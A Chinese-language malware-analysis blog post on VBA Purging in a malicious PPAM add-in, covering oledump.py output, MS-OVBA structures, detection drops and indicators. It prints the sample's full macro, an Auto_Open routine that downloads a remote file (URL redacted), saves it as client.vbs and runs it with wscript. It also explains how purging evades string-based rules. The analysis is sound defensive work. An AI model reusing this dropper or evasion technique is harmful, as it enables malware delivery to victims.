~/posts/binary/evidence-of-vba-purging-found-in-malicious-documents.md

恶意文档中的 VBA Purging 痕迹:只剩源码的 PPAM 样本

一份恶意 PPAM 加载项的模块流只剩压缩源码,缓存长度为零。用 zipdump.py 和 oledump.py 逐层确认 VBA Purging 的结构痕迹,说明它为何让依赖缓存字符串的检测失效,以及如何用结构与行为交叉验证。

date[31:24]
read[23:16]
10 分钟
cat[15:8]
二进制
目录
  1. 0x00模块流里有两种表示
  2. 0x01从 ZIP 外壳进入 VBA 存储
  3. 0x02恶意性来自行为,而不是缓存长度
  4. 0x03为什么旧的字符串规则会漏掉它
  5. 0x04用结构交叉验证取代单点结论
  6. 0x05样本指标
  7. 0x06小结

恶意宏不一定同时保留源码和编译缓存。分析一份 PowerPoint 加载项(PPAM)时,如果模块流里还有可以解压的 VBA 源码,而存放编译后 P-Code 的缓存区是空的,分析就应该转向源码和入口函数,而不是因为反编译器没有输出就结束。

样本是 2020 年记录的一份 PPAM:MD5 为 730a8401140edb4c79d563f306ca529e,SHA-256 为 20274a55d76a2fbd5f2c0ab727758b21202b22af95f6c0edba01b4b8af060e11。命令在 Windows 命令行中运行,工具是 zipdump.py 和 oledump.py(后者用 Python 3.7 执行)。关注点是 VBA 存储结构,以及它造成的静态检测盲区;某个结构特征本身不等于恶意。

模块流里有两种表示

VBA 模块流通常分成两段:前面是编译缓存 PerformanceCache,保存与编译结果相关、依赖具体实现的数据;后面是 CompressedSourceCode,保存压缩后的源码。把两段统称为“宏代码”会丢掉关键差别:它们可能彼此不一致,也可能只保留其中一种。

两段的分界不是靠搜索字符串找到的。dir 流中每个模块都有一条 MODULEOFFSET 记录,给出该模块压缩源码的起始偏移。dir 流本身是压缩的,分析工具要先解压它,再把这些记录与具体的流名称对应起来,才能正确切分每个模块。

MODULEOFFSET 记录(MS-OVBA,dir 流解压后)LE
偏移名称类型大小值
0x00Id记录类型,固定为 0x0031uint16_t20x0031
0x02Size后面 TextOffset 的字节数,固定为 4uint32_t40x00000004
0x06TextOffset压缩源码在模块流中的起始偏移;本文样本为 0,下文的对照文档为 1299uint32_t40x00000000
sizeof(struct MODULEOFFSET) = 0xa(10 字节)

缓存被清除后,源码从流的起点开始,对应的 MODULEOFFSET 变为 0。此外,_VBA_PROJECT 和 __SRP_* 等流也与缓存表示有关,所以判断“只保留源码”要看整个 VBA 存储,而不是只检查一个模块。

模块流在清除缓存前后的变化3 行
结构 普通文档 缓存被清除后
PerformanceCache 从 0x0000 开始,长度可变 不存在
CompressedSourceCode 从 MODULEOFFSET 开始,到流末尾 从 0x0000 开始,占满整个流
dir 中的 MODULEOFFSET 每个模块一条,指向本模块缓存区之后 每个模块都为 0

这与 VBA Stomping 的方向相反。VBA Stomping 让源码缺失或被改写,编译表示仍然保留;这里是缓存缺失、源码保留,这种处理称为 VBA Purging。两者的取证策略不同,“去看 P-Code”这一条建议覆盖不了所有样本。

从 ZIP 外壳进入 VBA 存储

PPAM 使用 OOXML 容器,外层是 ZIP;VBA 工程是其中的成员 ppt/vbaProject.bin,它本身又是一个 OLE 复合文档。下面这棵树是逐层拆开后的结构,size 是 oledump.py 报告的流长度(字节)。

730a8401….vir.zip:ZIP → OLE 复合文档 → VBA 流
  • 730a8401140edb4c79d563f306ca529e.vir.zipPPAM 加载项本身,外层是 ZIP
    • [Content_Types].xml
    • _rels
      • .rels
    • ppt
      • presentation.xml
      • _rels
        • presentation.xml.rels
      • vbaProject.binOLE 复合文档,VBA 工程在这里
        • PROJECTsize 311
        • PROJECTwmsize 26
        • VBA
          • Módulo1size 548模块流:缓存 0 字节,压缩源码 548 字节
          • _VBA_PROJECTsize 7只剩 7 字节头部
          • dirsize 434
4 个目录,4 个文件,2 个归档,5 个流

这个结构由下面几步得到,每一步的原始输出都折叠在命令下方。

逐层确认缓存被清除5 步
  1. 1

    列出 ZIP 成员,定位 vbaProject.bin

    先列出 ZIP 成员,找到 ppt/vbaProject.bin,避免把外层 ZIP 和内层的 OLE 复合文档混为一层。

    Windows cmd · C:\Demo
    $ zipdump.py 730a8401140edb4c79d563f306ca529e.vir.zip
    输出6 行Index Filename Encrypted Timestamp
    output
    Index Filename                        Encrypted Timestamp
        1 [Content_Types].xml                     0 1980-01-01 00:00:00
        2 _rels/.rels                             0 1980-01-01 00:00:00
        3 ppt/presentation.xml                    0 1980-01-01 00:00:00
        4 ppt/_rels/presentation.xml.rels         0 1980-01-01 00:00:00
        5 ppt/vbaProject.bin                      0 2020-02-14 05:24:42
  2. 2

    列出 VBA 流

    枚举 vbaProject.bin 内部的流:模块 VBA/Módulo1、VBA/dir 和 VBA/_VBA_PROJECT 都在。模块带有 M 标记,说明它仍被识别为含 VBA 宏,这不是一个空壳文件。

    Windows cmd · C:\Demo
    $ c:\Python37\python.exe oledump.py 730a8401140edb4c79d563f306ca529e.vir.zip
    输出6 行A: ppt/vbaProject.bin
    output
    A: ppt/vbaProject.bin
     A1:       311 'PROJECT'
     A2:        26 'PROJECTwm'
     A3: M     548 'VBA/Módulo1'
     A4:         7 'VBA/_VBA_PROJECT'
     A5:       434 'VBA/dir'
  3. 3

    按模块偏移切分缓存和源码

    加上 -i 选项,oledump.py 会按模块偏移给出缓存区和源码区的长度,写成“缓存长 + 源码长”。关键观察是 0+548:模块的缓存区长度为 0,压缩源码长 548 字节。这是分区长度,548 字节就是整个模块流,并不是“整个文件只剩 548 字节”。

    Windows cmd · C:\Demo
    $ c:\Python37\python.exe oledump.py -i 730a8401140edb4c79d563f306ca529e.vir.zip
    输出6 行A: ppt/vbaProject.bin
    output
    A: ppt/vbaProject.bin
     A1:       311             'PROJECT'
     A2:        26             'PROJECTwm'
     A3: M     548       0+548 'VBA/Módulo1'
     A4:         7             'VBA/_VBA_PROJECT'
     A5:       434             'VBA/dir'
  4. 4

    检查 _VBA_PROJECT 流

    另一项互相印证的证据来自 _VBA_PROJECT 流:它只有 7 字节,也就是头部,没有保留通常的大段缓存内容。按 MS-OVBA 规范,头部之后才是 PerformanceCache,其长度等于流长减 71。

    VBA/_VBA_PROJECT · oledump.py -s A4 · 7 字节
    00000000CC61FFFF000000
    1. Reserved10x00–0x010x61CC,规范规定的固定值
    2. Version0x02–0x030xFFFF;规范要求写入时为 0xFFFF,读取时忽略
    3. Reserved20x040
    4. Reserved30x05–0x06未定义,读取时忽略;其后没有 PerformanceCache
  5. 5

    对照一份带缓存的普通文档

    与一份普通文档 Presentation1.ppam 对照,差别更容易看清:模块的缓存区和源码区长度都不为零,同时存在 4 个 __SRP_* 流。

    Windows cmd · C:\Demo
    $ c:\Python37\python.exe oledump.py -i Presentation1.ppam
    输出10 行A: ppt/vbaProject.bin
    output
    A: ppt/vbaProject.bin
     A1:       352             'PROJECT'
     A2:        26             'PROJECTwm'
     A3: M    1380     1299+81 'VBA/Module1'
     A4:      2308             'VBA/_VBA_PROJECT'
     A5:      1131             'VBA/__SRP_0'
     A6:        66             'VBA/__SRP_1'
     A7:       216             'VBA/__SRP_2'
     A8:       103             'VBA/__SRP_3'
     A9:       465             'VBA/dir'

按 MODULEOFFSET 切开后,两个模块流的布局如下:样本的整个流都是压缩源码,对照文档的源码只占流末尾的 81 字节。

样本
VBA/Módulo1
  1. 0x00000000
    CompressedSourceCode0x224MODULEOFFSET = 0,源码从流的起点开始
0x00000224
0x00000000–0x00000224 · 共 0x224(548 字节)
对照文档
VBA/Module1
  1. 0x00000000
    PerformanceCache0x5131.27 KiB编译缓存
  2. 0x00000513
    CompressedSourceCode0x51MODULEOFFSET = 1299
0x00000564
0x00000000–0x00000564 · 共 0x564(1380 字节)
样本与对照文档的 VBA 流4 行
流 样本 对照文档
模块流 VBA/Módulo1,548 字节 VBA/Module1,1380 字节
缓存长 + 源码长 0 + 548 1299 + 81
VBA/_VBA_PROJECT 7 字节 2308 字节
VBA/__SRP_* 无 4 个,__SRP_0 到 __SRP_3

恶意性来自行为,而不是缓存长度

解压源码后,调用链一目了然:入口函数 Auto_Open 创建 Microsoft.XMLHTTP 对象获取远端内容,用 Adodb.Stream 把响应保存为 AppData 目录下的 client.vbs,再交给脚本宿主 wscript 执行。读取网络内容、落地脚本、启动执行,这条链比“缓存为空”更接近判断恶意性所需的证据。

oledump.py -s A3 -v · VBA/Módulo1vb
Attribute VB_Name = "Módulo1"
Public Sub Auto_Open()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://gist.githubusercontent.com/<redacted>/<redacted>/raw/<redacted>/DASASDASDASD312312%2520-%2520Copia%2520(3).png", False
xHttp.Send
Dim j As String
j = Environ("AppDATA")
With bStrm
 .Type = 1
 .Open
 .write xHttp.responseBody
 .savetofile j & "/client.vbs", 2 '//overwrite
End With
Shell "wscript " & j & "/client.vbs", vbNormalFocus


End Sub
  1. 入口函数 Auto_Open:PowerPoint 加载这个加载项时自动调用它。
  2. 创建 Microsoft.XMLHTTP 对象,用来发起 HTTP 请求。
  3. 以同步方式(最后一个参数为 False)请求远端文件。地址以 .png 结尾,但响应随后被当作脚本保存。
  4. Adodb.Stream 以二进制方式(.Type = 1)写入 AppData 目录下的 client.vbs;参数 2 表示覆盖已有文件。
  5. 交给脚本宿主 wscript 执行刚落地的脚本。

这里应区分三层结论:

  • 已经可见的结构事实:缓存缺失,压缩源码存在,目录偏移与流内容一致。
  • 已经可见的代码行为:宏包含网络下载和启动脚本的调用。
  • 仍需额外取证的结果:当时远端究竟返回了什么、脚本随后做了什么,以及文档是否在目标环境中成功执行。

静态源码不能替代网络响应和运行日志;远端地址现在是否可用,也不影响对历史源码的结构分析。

为什么旧的字符串规则会漏掉它

直接对文档容器扫描明文 API 名的规则,有时实际命中的是编译缓存里的字符串。同样的标识符虽然也在 VBA 源码里,但经过压缩后未必以连续的明文字节出现。因此缓存被清除后,这类规则的命中点消失了,宏的行为却可能保持不变。

这不代表所有规则都会失效:依赖流结构、解压后的源码、API 组合或执行行为的检测,读取的输入完全不同。评估时应先写清规则读的是原始容器、模块流、解压后的源码还是 P-Code,再比较命中的变化。

下面两份历史扫描结果来自同一个样本实验的两个状态:一份恶意 Word 文档(.doc,不是上文的 PPAM)的原始版本,以及清除 P-Code 后的版本。清除后的文件以原始 SHA-256 加后缀 -no-p-code.vir 命名。

同一份 Word 文档的两次扫描3 行
项目 原始文档 清除 P-Code 后
大小 176.00 KB 76.00 KB
扫描时间(UTC) 2019-12-27 11:17:41 2019-12-22 13:29:56
检出 44 / 61 16 / 58
VirusTotal 扫描结果
原始文档
VirusTotal · 原始文档DOC

44/61

Tracking-42398631-BUD-HWN.doc

61 个引擎中 44 个判为恶意

类型
Word 文档(.doc)
扫描时间
  • 恶意 44
  • 未检出 17
SHA-256
b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1
引擎判定检测名
Ad-Aware恶意W97M.Downloader.GRU
AegisLab恶意Trojan.MSWord.Agent.a!c
ALYac恶意Trojan.Downloader.VBA.gen
Antiy-AVL恶意Trojan[Downloader]/MSOffice.Agent.hic
Arcabit恶意HEUR.VBA.Trojan.e
Avast恶意VBA:Downloader-GCD [Trj]
AVG恶意VBA:Downloader-GCD [Trj]
Avira (no cloud)恶意W97M/Agent.36885547
Baidu恶意VBA.Trojan-Downloader.Agent.cpw
BitDefender恶意W97M.Downloader.GRU
列出 10 个引擎,共 61 个
清除 P-Code 后
VirusTotal · 清除 P-Code 后DOC

16/58

b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1-no-p-code.vir

58 个引擎中 16 个判为恶意,1 个判为可疑

类型
Word 文档(.doc)
扫描时间
  • 恶意 16
  • 可疑 1
  • 未检出 41
SHA-256
f44e067e011ab13bddf3e3143ea427090ac07c59dcb434d069bcefb4fe3cb434
引擎判定检测名
Antiy-AVL恶意Trojan[Downloader]/MSOffice.Agent.hic
Arcabit恶意HEUR.VBA.Trojan.e
Avast恶意VBA:Downloader-GCD [Trj]
AVG恶意VBA:Downloader-GCD [Trj]
Baidu恶意VBA.Trojan-Downloader.Agent.cpw
Endgame恶意Malicious (high Confidence)
ESET-NOD32恶意VBA/TrojanDownloader.Agent.HIC
Fortinet恶意VBA/Agent.HHV!tr
Ikarus恶意Trojan-Downloader.VBA.Agent
McAfee-GW-Edition恶意BehavesLike.Downloader.lg
Rising恶意Macro.Run.d (CLASSIC)
Sangfor Engine Zero恶意Malware
SentinelOne (Static ML)恶意DFI - Malicious OLE
Sophos AV恶意Troj/DocDl-NCG
TACHYON恶意Trojan/W97M.Agent.Gen
Tencent恶意Heur:Trojan.Script.LS_Gencirc.7071761.0
BitDam ATP可疑MALWARE
Ad-Aware未检出—
AegisLab未检出—
AhnLab-V3未检出—
列出 20 个引擎,共 58 个

当时的扫描页只显示了部分引擎,卡片里列出的就是这些;总数来自扫描页顶部的统计。两边都能看到的引擎里,Ad-Aware 和 AegisLab 对原始文档分别报出 W97M.Downloader.GRU 和 Trojan.MSWord.Agent.a!c,对清除 P-Code 后的版本则显示未检出。

用结构交叉验证取代单点结论

实际审阅时,可以把每个模块整理成一行:模块名称、流总长、MODULEOFFSET、缓存长、源码长、解压结果,以及是否存在入口函数。以上文的样本和对照文档为例(“—”表示上文没有展示):

逐模块审阅表2 行
模块 流总长 MODULEOFFSET 缓存长 源码长 解压结果 入口函数
Módulo1(样本) 548 0 0 548 成功 Auto_Open
Module1(对照) 1380 1299 1299 81 — —

偏移至少要满足下面的边界模型:

split_module.pypython
def split_module(module: bytes, source_offset: int):
    if not 0 <= source_offset <= len(module):
        raise ValueError("source offset outside module stream")
    return module[:source_offset], module[source_offset:]

cache, source = split_module(b"compressed-source-placeholder", 0)
assert cache == b"" and source

样本指标

下面是本文涉及的样本哈希和宏落地的文件。清除 P-Code 的版本是上文实验中生成的;宏的下载地址在文中已脱敏,没有列入。

VBA Purging 样本
SHA-256 3
  • 20274a55d76a2fbd5f2c0ab727758b21202b22af95f6c0edba01b4b8af060e11
    PPAM 加载项(本文样本)
  • b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1
    恶意 Word 文档,原始版本
  • f44e067e011ab13bddf3e3143ea427090ac07c59dcb434d069bcefb4fe3cb434
    同一文档清除 P-Code 后的版本
MD5 1
  • 730a8401140edb4c79d563f306ca529e
    PPAM 加载项(本文样本)
文件名 1
  • Tracking-42398631-BUD-HWN.doc
    恶意 Word 文档的文件名
路径 1
  • %APPDATA%\client.vbs
    PPAM 的宏下载后写入并用 wscript 执行的脚本
6 个指标 · 4 类 · 已去活(defang)

小结

最后保留一个重要反例:合法的生成库和 VBA 清理工具也会产生没有缓存的文档。因此:

  • 零偏移、只有 7 字节的 _VBA_PROJECT 和缺失的 __SRP_* 是调查线索,而不是单独的封禁依据。
  • 反编译器没有 P-Code 输出时,继续解压源码、寻找入口函数,不要就此结束分析。
  • 评估检测规则前,先写清它读的是原始容器、模块流、解压后的源码还是 P-Code。
  • 更可靠的结论来自结构一致性与源码行为的交叉验证。

脚注

  1. Microsoft,[MS-OVBA] 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information。 ↩

NORMAL~/posts/binary/evidence-of-vba-purging-found-in-malicious-documents.md§--
0%zh-CN